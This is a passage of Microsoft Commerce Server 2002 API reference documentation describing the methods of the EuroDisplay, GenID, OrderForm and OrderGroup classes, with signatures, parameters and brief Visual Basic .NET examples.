oResult = oEuroDisp.ConvertBaseStringToCurr("99,333.53886")
' In the preceding example, the variable oResult is
' internally rounded to 99333.5389

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertAltStringToCurr

EuroDisplay.FormatBaseMoney


EuroDisplay.ConvertMoney Method (PIA)

Use this method to convert the specified currency Object (representing a monetary value in the base currency) to a currency Object representing a monetary value in the alternate currency, using the initialized conversion rate.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ConvertMoney(
  vtCurrVal As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object EuroDisplay.ConvertMoney(
  object vtCurrVal
);

Parameters

[Visual Basic .NET]
vtCurrVal
An Object that contains the monetary value in the base currency.
[C#]
vtCurrVal
A currency object representing a monetary value in the base currency.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a currency Object representing a monetary value in the alternate currency.

[C#] This method returns an object representing a monetary value in the alternate currency.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result
EuroDisplay ed = New EuroDisplay()
ed.Initialize ("$$",1033,"FF",1036, 2)
Result = EuroDisplay.ConvertMoney(100)
Response.Write "Converted $100 from $ to F ($1 = 2F) : " & Result & "<P>"

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class


EuroDisplay.FormatAltMoney Method (PIA)

Use this method to create a string representation of a currency Object, based on the alternate locale identifier and the alternate currency symbol string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function FormatAltMoney(
  vtConvMoney As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string EuroDisplay.FormatAltMoney(
  object vtConvMoney
);

Parameters

[Visual Basic .NET]
vtConvMoney
A currency Object that contains the monetary value to convert.
[C#]
vtConvMoney
A currency object that contains the monetary value to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the string representation of the specified currency Object.

[C#] This method returns a string representation of the specified object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oTest is a Currency Object
' oResult is a String
oTest = "$ 20.00"
oResult = oEuroDisp.FormatAltMoney (vTest)
' In the preceding example, if the Alt Currency symbol string
' is "$" and the Alt locale identifier is 1033, oResult will
' contain the string, "$ 20.00"

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertAltStringToCurr

EuroDisplay.FormatBaseMoney


EuroDisplay.FormatBaseMoney Method (PIA)

Use this method to create a string representation of a currency object, based on the base locale identifier and the base currency symbol string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function FormatBaseMoney(
  vtConvMoney As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string EuroDisplay.FormatBaseMoney(
  object vtConvMoney
);

Parameters

[Visual Basic .NET]
vtConvMoney
A currency Object that contains the monetary value to convert.
[C#]
vtConvMoney
A currency object that contains the monetary value to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the string representation of the specified currency Object.

[C#] This method returns a string representation of the specified object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oTest is a Currency Object
' oResult is a String
oTest = "$ 40.08"
oResult = oEuroDisp.FormatBaseMoney (vTest)
' In the preceding example, if the Base Currency symbol string
' is "$" and the Base locale identifier is 1033, oResult will
' contain the string, "$ 40.08"

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertBaseStringToCurr

EuroDisplay.FormatAltMoney


EuroDisplay.Initialize Method (PIA)

Use this method to initialize the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  szBaseCurr As String,
  lBaseLCID As Integer,
  szAltCurr As String,
  lAltLCID As Integer,
  flEuroConvRate As Double
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void EuroDisplay.Initialize(
  string szBaseCurr,
  int lBaseLCID,
  string szAltCurr,
  int lAltLCID,
  double flEuroConvRate
);

Parameters

[Visual Basic .NET]
szBaseCurr
A String that contains the base currency symbol string.
lBaseLCID
An Integer that contains the base locale identifier.
szAltCurr
A String that contains the alternate currency symbol string.
lAltLCID
An Integer that contains the alternate locale identifier.
flEuroConvRate
A Double (8-byte floating point number) that contains the rate at which to convert the base currency into the alternate currency. For example, if the base currency is Swiss Francs which are exchanged at a rate of 1 SF = 2.1 Euros, and the alternate currency is Euro, then this parameter will have a value of 2.1.
[C#]
szBaseCurr
A string that contains the base currency symbol string.
lBaseLCID
An int that contains the base locale identifier.
szAltCurr
A string that contains the alternate currency symbol string.
lAltLCID
An int that contains the alternate locale identifier.
flEuroConvRate
A double (8-byte floating point number) that contains the rate at which to convert the base currency into the alternate currency. For example, if the base currency is Swiss Francs which are exchanged at a rate of 1 SF = 0.63 Euros, and the alternate currency is Euro, then this parameter will have a value of 0.63.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' In this example, the Base Currency symbol string
' is "$" and the Base locale identifier is 1033; the Alt
' Currency symbol string is "DM"; the Base locale identifier
'  is 1037, and the conversion rate is $ 1 = 2.3 DM.

oEuroDisp.Initialize ("$", 1033, "DM", 1037, 2.3)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class


GenID Class (PIA)

Use this object to generate globally unique identifiers (GUIDs) or to create and maintain multiple, global, sequential counters that are persisted in a database. A global counter is one that can work across multiple computers.

Methods

Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)


GenID Methods (PIA)

Methods

Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.


GenID.GenBase5GUIDString Method (PIA)

Use this method to generate a base5 globally unique identifier (GUID) string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GenBase5GUIDString() As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GenBase5GUIDString();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the base5 GUID.

[C#] This method returns a string with the base5 GUID string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A base5 GUID is used to store a slightly more compact version of the traditional GUID. The 128 binary digits are divided into groups of 5 instead of 4 with each group represented by the characters 0-9, and 22 characters of the alphabet. This results in a 26-digit representation for the GUID rather than the customary 32-digit representation.

[C#] The returned string contains valid data only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.GenGUIDString Method (PIA)

Use this method to generate a globally unique identifier (GUID) string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GenGUIDString() As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GenGUIDString();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the GUID.

[C#] This method returns a string containing the GUID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.GetCounterValue Method (PIA)

Use this method to retrieve and increment the value stored in the specified counter.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetCounterValue(
  bstrCounterName As String,
  cDigits As Integer
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GetCounterValue(
  string bstrCounterName,
  int cDigits
);

Parameters

[Visual Basic .NET]
bstrCounterName
A String that contains the counter name.
cDigits
An Integer that contains the number of digits to return.
[C#]
bstrCounterName
A string that contains the counter name.
cDigits
An int that contains the number of digits to return.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the counter value.

[C#] This method returns a string containing the counter value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

After the current value of the counter is returned, the counter is incremented by one. Use the InitializeCounter method to reset the counter.

If the value of the counter is less than the number of digits requested, the value is left padded with zeroes.

The Initialize method must be called before calling the GetCounterValue method.

[C#] The returned string contains valid data only if the method completes successfully.

[Visual Basic .NET]

Example

' sCounterValue is a String
' oGenID is a Commerce GenID object
' The value stored in the counter is 285.
sCounterValue = oGenID.GetCounterValue("OrderIDCounter", 4)

' sCounterValue = 0285
' The value now stored in the OrderIDCounter is 286.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.Initialize Method (PIA)

Use this method to connect the GenID object to the database that stores the table of counters.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  bstrDBConnectionString As String,
  Optional cBlockSizeHint As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  string bstrDBConnectionString,
  int cBlockSizeHint
);

Parameters

[Visual Basic .NET]
bstrDBConnectionString
A String that contains the connection information for the database.
cBlockSizeHint
Not implemented, leave blank.
[C#]
bstrDBConnectionString
A string that contains the connection information for the database.
cBlockSizeHint
Not implemented, set to 1.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before calling the GetCounterValue and InitializeCounter methods.

The connection string may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the connstr_db_Transactions property under Commerce Server Manager\Commerce Sites\<site name>\Site Resources\Transactions.

[Visual Basic .NET]

Example

' oGenID is a Commerce GenID object

' Connect using an explicit connection string.

oGenID.Initialize( "Provider=SQLOLEDB;Data Source=server;" _
 & "Integrated Security='SSPI';Initial Catalog=Retail_commerce")
' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object

sConn = oSCRO.Fields("Transactions").Value.Fields("connstr_db_Transactions").Value
oGenID.Initialize( sConn )

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.InitializeCounter Method (PIA)

Use this method to create or reset a global, sequential counter.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub InitializeCounter(
  bstrCounterName As String,
  dwInitialValue As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void InitializeCounter(
  string bstrCounterName,
  int dwInitialValue
);

Parameters

[Visual Basic .NET]
bstrCounterName
A String that contains the counter name.
dwInitialValue
An Integer that contains the initial value of the counter.
[C#]
bstrCounterName
A string that contains the counter name.
dwInitialValue
An int that contains the initial value of the counter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Any number of counters may be created. If the counter already exists, its value is reset to the specified initial value.

A global counter will work across multiple computers.

The Initialize method must be called before calling the InitializeCounter method.

[Visual Basic .NET]

Example

' oGenID is a Commerce GenID object

oGenID.InitializeCounter("OrderCounter", 213)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


OrderForm Class (PIA)

The OrderForm object provides for in-memory storage of user and purchase information. Microsoft Commerce Server 2002 sites use the OrderForm object to store the items that a user has chosen to purchase, and to store receipt information that reflects the purchase history for a given user.

Methods

Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.

Remarks

The OrderForm object is defined internally as a structured group of SimpleList and Dictionary objects, and includes the methods required to add items, clear items, and clear the entire OrderForm object itself.

The base of the OrderForm object is a Dictionary object, which contains information that describes the entire order. This includes user information, such as the shopper ID, name, and address; and also order cost information, such as purchase subtotal, tax, shipping, and total.

The OrderForm object does not directly support storage of its data on disk. The DBStorage and OrderGroupManager objects enable persistent storage of OrderForm object data.

A number of the elements in the base Dictionary object of the OrderForm object include underscore (_) characters. The appearance of an underscore character in an element name indicates that these elements are not saved to the order form storage for the site. These elements are saved instead to the receipt storage of the site when the purchase is finalized.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

Business Process Objects

OrderGroup Class

OrderGroupManager Class

SimpleFindSearchInfo Class

SimpleFindResultInfo Class


OrderForm Methods (PIA)

Methods

Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.


OrderForm.AddItem Method (PIA)

Use this method to add the specified item to the items collection of an OrderForm object. The items collection is a SimpleList object containing Dictionary objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function AddItem(
  varSKU As Object,
  lCount As Integer,
  lPlacedPrice As Integer
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
object AddItem(
  object varSKU,
  int lCount,
  int lPlacedPrice
);

Parameters

[Visual Basic .NET]
varSKU
An Object that contains the SKU of the item to add.
lCount
An Integer that contains the item count.
lPlacedPrice
An Integer that is reserved for future use. This parameter must be set to 0 (zero).
[C#]
varSKU
A VARIANT that contains the stockkeeping unit (SKU) of the item to add.
lCount
An int that contains the item count.
lPlacedPrice
An int that contains the placed price of the item.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object reference that holds the Dictionary object that contains the added item.

[C#] This method returns an object indicating whether or not it completed successfully. A Dictionary object is used to return the added item; if the method does not complete successfully, the object will be null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The returned object parameter contains valid data only if the method returns successfully; otherwise, it is null.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; a quantity of 5 is
' being added of the product whose SKU is SKUnumber.
Order.AddItem("SKUnumber", 5,0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

OrderForm Class

OrderForm.ClearItems

OrderForm.ClearOrderForm


OrderForm.ClearItems Method (PIA)

Use this method to clear the items collection of the OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub ClearItems()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void ClearItems();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A site uses the ClearItems method to respond to a user choosing to cancel a purchase. This method affects only the information in the items collection. Other OrderForm object information, such as _oadjust_subtotal and _total_total, is modified only if you run the Order Processing Pipeline (OPP) on this OrderForm object.

To empty the entire contents of the OrderForm object, call the ClearOrderForm method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

OrderForm Class

OrderForm.AddItem

OrderForm.ClearOrderForm


OrderForm.ClearOrderForm Method (PIA)

Use this method to clear the entire OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub ClearOrderForm()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void ClearOrderForm();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

OrderForm Class

OrderForm.AddItem

OrderForm.ClearItems


OrderGroup Class (PIA)

The OrderGroup object is used in Commerce Server 2002 to store, access, and compute basket and order information for a site. The OrderGroupManager object works in conjunction with the OrderGroup object, providing search and other management operations for orders.

Methods

Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, and then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line-item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadBasket | Loads the basket for the current user from the database.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line-item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the Pipeline Component File on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.

Properties

Property | Type | Description
LogFile | String | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | String | Specifies a key prefix that will prevent a dictionary entry from being saved to the database. This property is read/write.
Value | Object | Returns the OrderGroup object attributes. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

Business Process Objects

OrderGroupManager Class

OrderForm Class

SimpleFindSearchInfo Class

SimpleFindResultInfo Class


OrderGroup Methods (PIA)

Methods

Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, and then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line-item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadBasket | Loads the basket for the current user from the database.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line-item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the Pipeline Component File on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.


OrderGroup.AddItem Method (PIA)

Use this method to add a line item to the specified OrderForm object.

This method adds a line-item dictionary to the given OrderForm object (the strOrderFormName parameter). If the strOrderFormName is not supplied, the parameter strOrderFormName defaults to "default"; if "default" does not exist, it is created. This method also increments the aggregated quantity total at the OrderGroup object and OrderForm object levels.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function AddItem(
  dictItem As Object,
  Optional strOrderFormName As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public int AddItem(
  IDictionary dictItem,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
dictItem
A Dictionary object that contains the line-item information.
strOrderFormName
An Object that specifies the name of the OrderForm object to add the item to. Depending on how a site is structured, you may choose to specify the vendor name of the item as the strOrderFormName. (This will result in items from different vendors being added to different OrderForm objects).
[C#]
dictItem
A Microsoft.CommerceServer.Interop.IDictionary interface to a Dictionary object that contains the line-item information.
strOrderFormName
An object that specifies the name of the OrderForm object to add the item to. Depending on how a site is structured, you may choose to specify the vendor name of the item as the strOrderFormName. (This will result in items from different vendors being added to different OrderForm objects.)

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that specifies the index at which the item was added.

[C#] This method returns an int containing the index at which the item was added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • Each line item that is added should contain a quantity.
  • If you are using the QueryCatalogInfo component in your pipeline, you will also need:
    • product_catalog
    • product_id
    • product_variant_id (if this is a product variant)
[Visual Basic .NET]

Example

' dDict is a Dictionary object
' lLineItemIndex is an Integer
' sMyOrder is a String
' oOrderGroup is a Commerce.OrderGroup Object
lLineItemIndex = oOrderGroup.AddItem(dDict, sMyOrder)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.RemoveItem


OrderGroup.AddItemsFromTemplate Method (PIA)

Use this method to add the line items associated with an on-disk order group template to the current OrderGroup object.

This method iterates across all the OrderForms in the specified template and adds them to the current OrderGroup. If the OrderForms being added already exist, the line items on the template OrderGroup are simply added. When a non-existing OrderForm is encountered, the method will add the OrderForm in its entirety to the OrderGroup, including OrderForm-level dictionary values.

The OrderGroup object keeps a counter of total line items at the OrderForm and OrderGroup levels. For the OrderGroup level, it keeps track of the number of line items in all the OrderForms. This value is held under the key "total_lineitems".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AddItemsFromTemplate(
  OrderGroupID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void AddItemsFromTemplate(
  string OrderGroupID
);

Parameters

[Visual Basic .NET]
OrderGroupID
A String that specifies the OrderGroup object ID for the template.
[C#]
OrderGroupID
A string that specifies the OrderGroup object ID for the template.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • It is the responsibility of the application to implement security. This method does not check whether the user ID of the template is the same as the user ID specified in the initialization call.

This method also works on previously submitted orders and baskets, as well as OrderGroup objects with Template (Saved Order) status.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' myOGID is a GUID String
myOGID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oOrderGroup.AddItemsFromTemplate(myOGID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.AddOrderform Method (PIA)

Use this method to add an OrderForm object with all of its contents to the OrderGroup object.

If the strOrderFormName is not supplied, it defaults to "default".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AddOrderform(
  orderform As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public void AddOrderform(
  IDictionary orderform,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
orderform
A Dictionary object that contains the OrderForm object that will be added.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
orderform
A Microsoft.CommerceServer.Interop.IDictionary object that will be added.
strOrderFormName
An object that contains the OrderForm object name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dOrderForm is a Dictionary Object
' sMyOrderName is a string
' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.AddOrderform(dOrderForm,sMyOrderName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.AddXMLAsOrderForm Method (PIA)

Use this method to add items previously saved as XML (by using the GetOrderformAsXML method) back into an OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AddXMLAsOrderForm(
  strXML As String,
  nXMLLocale As Integer,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void AddXMLAsOrderForm(
  string strXML,
  int nXMLLocale,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strXML
A String that specifies the XML string containing the line items to add.
nXMLLocale
An Integer that specifies the locale to use in the XML string conversion.
strOrderFormName
An Object that specifies the OrderForm object name to add.
[C#]
strXML
A string that specifies the XML string containing the line items to add.
nXMLLocale
An int that specifies the locale to use in the XML string conversion.
strOrderFormName
An object that specifies the OrderForm object name to add.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • Use of the DictionaryXMLTransforms object is recommended when exchanging XML through BizTalk Server. The DictionaryXMLTransforms object allows you to write out XML to a well-defined schema.
[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
' sXMLString is an string containing order-form data
' lLocale is a long specifying the locale to use in conversion
oOrderGroup.AddXMLAsOrderForm(sXMLString, lLocale)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.GetOrderFormAsXML


OrderGroup.AggregateOrderFormValues Method (PIA)

Use this method to iterate across all OrderForm objects, compute a total of the specified key, and store the total at the OrderGroup object level.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AggregateOrderFormValues(
  strOrderFormKey As String,
  strOrderGroupKey As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void AggregateOrderFormValues(
  string strOrderFormKey,
  string strOrderGroupKey
);

Parameters

[Visual Basic .NET]
strOrderFormKey
A String that specifies the OrderForm key of the value to be aggregated.
strOrderGroupKey
A String that specifies the OrderGroup key of the value to which the aggregated total will be written.
[C#]
strOrderFormKey
A string that specifies the OrderForm key of the value to be aggregated.
strOrderGroupKey
A string that specifies the OrderGroup key of the value to which the aggregated total will be written.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.AggregateOrderFormValues("saved_cy_handling_total", _
"_cy_handling_total")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.Clear Method (PIA)

Use this method to clear the OrderGroup object of all OrderForm objects and address dictionaries.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Clear()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Clear();

Exceptions

